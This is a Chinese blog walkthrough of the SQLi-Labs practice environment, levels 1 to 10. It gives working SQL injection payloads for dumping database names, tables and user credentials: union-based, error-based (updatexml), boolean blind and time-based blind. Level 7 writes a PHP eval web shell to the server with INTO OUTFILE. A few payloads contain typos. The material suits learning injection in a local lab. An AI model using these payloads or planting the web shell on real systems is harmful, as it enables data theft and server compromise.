sql-labs通关攻略

简介

SQL-Labs 是一个用于学习和练习SQL注入的实验环境。它通常由一系列精心设计的实验室构成,旨在帮助用户理解各种SQL注入攻击的原理和防御方法。SQL-Labs通常包含多个关卡,从基础到高级,逐步提高难度,以涵盖不同类型和复杂性的SQL注入攻击。

整体思路

1.判断有无注入点

2.判断闭合的特殊符号

3.猜解列名数量

4.判断回显点

5.利用注入点进行信息收集

爆用户权限,爆库,爆版本号

爆表,爆列,爆账号密码

Less-1

首先我们需要判断闭合符号,输入

?id=1'

 

根据报错信息,use near ''1'' LIMIT 0,1' at line 1我们去掉用于标识的’‘,判断less-1的闭合符号为单引号

使用--+注释

下一步猜测列明数量为4

?id=1' and order by 4 --+

尝试改为3

第一行不变,判断回显点2,3

我们回显的位置有限,为了使想要的信息出现在页面上,我们使用?id=-1,因为id=-1不存在,信息就会填充到2,3的位置上

我们查询到数据库的名字是security,开始进一步爆破表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

我们看到出现了四个表明,判断users是最有可能存储账号密码的数据表

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 这次查出的数据很多,无法准确的判断,我们需要缩小范围,指定查询security数据库下的数据

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

爆破数据

?id=-1' union select 1,2,group_concat(username,0x3B,password) from users--+
#0x3B是;的十六进制码

第一关结束

Less-2

第二题的第一题的方法一样

?id=1

根据报错信息,判断为数值型注入

?id=1 order by 3--+

 回显行数为3

?id=-1 union select 1,2,3--+

使用order by 函数排序

 版本号

?id=-1 union select 1,database(),version()--+

 爆表,列

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema_table='secrity'

 爆数据

?id=-1 union select 1,2,group_concat(username,0x7e,password) from users--+

Less-3

判断闭合符号

?id=1' and 1=1

 判断字段数和回显位置

?id=1') order by 3--+
?id=-1') union select 1,2,3--+

爆库,爆表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆列,爆数据

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+

Less-4

判断闭合符号

?id=1\

 这关的sql语句闭合是由双引号和括号完成的

判断回显数

?id=1") order by 3 --+

?id=-1") union select 1,2,3--+

爆库,爆表

?id=-1") union select 1,2,database()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段名,数据

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+

Less-5

判断闭合符号

id=1\

第五题使用单引号闭合

当我们对回显数进行猜测的时候,我们发现没有回显,但是后面会显示报错信息,所有这题我们选择报错回显

报错回显

基本概念:

  1. 引发错误:通过构造特定的输入,引发数据库错误。

  2. 获取信息:利用错误信息中暴露的细节,获取数据库的元数据或用户数据。

爆破库名

?id=-1' and updatexml(1,concat(0x7e,database()),1) --+

爆破表名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

爆破字段名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1) --+

爆破数据

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),1) --+

最后我们发现显示的数据不完整,因为updatexml()函数的报错内容不超过32个字符,所以我们还需要对数据进行处理

怎么做

使用mid(),left(),substring()函数对结果字符进行处理,我这里使用substring进行操作

?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),1,1)),1) --+

结果只有一个D

那么我们将结束的位置改为32

?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),1,32)),1) --+

之后我们就可以不断改变位置,这样我们就可以得到所有数据,后续的操作不再演示

Less-6

判断注入点

?id=-1\

第六题是双引号闭合

后续操作于第五题一致

Less-7

判断注入点


?id=1
?id=-1

我们发现没有具体的报错信息,那我们的联合查询和报错注入可能都没有作用

我们先猜一下第七题的闭合符号

通过不同的反馈来判断我们的猜测是否正确

?id=1"

未报错,说明闭合符号里没有双引号

当我们使用单引号时,会报错,说明在闭合符号里存在单引号

那我们继续猜,在后面加个括号试一下

?id=1')

还是报错,继续猜

我们继续尝试,最后猜到第七题的闭合方式是一个单引号和两个括号

这道题需要我们写入一个文件导入到数据库中,首先需要手动修改PHP study的配置文件

进入到C:\Users\Administrator\Desktop\study\MySQL\bin这个目录下

右键选择在终端中打开(win10按shift+右键)

输入secure_file_priv查看配置,如果为null则无法导出文件,默认为null

打开MySQL下的my.ini,将secure_file_priv="/"添加到配置文件

重启PHP study服务,发现已经拥有权限

使用@@basedir,@@datadir 函数来确定MySQL的基础目录和数据目录

?id=-1' union select 1,@@basedir,@@datadir--+

 

写入木马

?id=-1')) union select 1,2,"<?php @eval($_POST[1]);?>" into outfile "C:\\phpStudy\\WWW\\shell.php"--+

  报错,此时我们不知道我们写入是否成功,访问http://127.0.0.1/shell.php,结果显示写入成功

 利用蚁剑连接木马

 将输入写入result.txt

?id=-1')) union select 1,2,group_concat(username,0x7e,password)from users into outfile "C:\\phpStudy\\WWW\\result.txt"--+

 访问result.txt,里面有我们想要的数据。第七关结束

Less-8

在url输入


?id=1
?id=-1

没有回显,没有报错信息,但我们可以通过反馈判断是否正确

所有题的闭合方式判断都相同

第八题的必和符号为单引号

这题我们使用布尔盲注

/?id=1' and ascii(substring((select database()),1,1))>100--+

输入后显示为真

/?id=1' and ascii(substring((select database()),1,1))>120--+

输入后显示为假

使用二分法快速确定了数据库第一个单词为‘s’

猜测数据库名为security

?id=1' and (select database())="security"--+

结果为真

无限循环,猜表明,猜字段名,直到得到结果(这种方法巨麻烦,如果你有kali会简单很多)

Less-9

当我们在第九题输入?id=1和?id=-1时没有任何反应,我们知道布尔盲注不能产生作用,因为我们需要使用时间盲注

时间盲注

通俗点讲,就是我们要在sql语句中加入SLEEP()函数,并且搭配if()语句使用,当我们输入的条件为真的时候,sleep()函数会将程序挂起,时间取决于括号里的数字。我们通过程序反应的时间判断。

?id=1' and sleep(3)--+

输入后我们可以明显感觉程序运行速度变慢,说明闭合方式为单引号

也可以通过F12中的网络中的延迟判断

爆破数据库名

?id=1' and if(ascii(substring((select database()),1,1))>10,sleep(3),0)--+

 爆破表名

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

Less-10

和第九关一样都是时间盲注,唯一不同的是闭合是双引号"

 

  • 13
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqllibs闯关是一个关于SQL注入的平台,它提供了一系列的挑战和实践,让用户可以学习和测试SQL注入攻击的技术。通过在sqllibs闯关中完成各种任务,用户可以提升他们对SQL注入的理解和技能。在这个平台上,用户可以使用各种工具和技术来尝试不同类型的SQL注入攻击,如基于错误的注入、联合查询注入等。用户可以通过检测和利用应用程序中的SQL注入漏洞来获取敏感信息或者执行任意的数据库操作。通过挑战和实践,用户可以提高他们对SQL注入攻击的防御意识,并学习如何编写安全的代码来防止这类攻击。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [sql-lib 闯关课程第一课](https://blog.csdn.net/m0_37175113/article/details/105753588)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [sqli-libs(1-6)闯关笔记(纯手注)](https://blog.csdn.net/qq_40671478/article/details/107968190)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值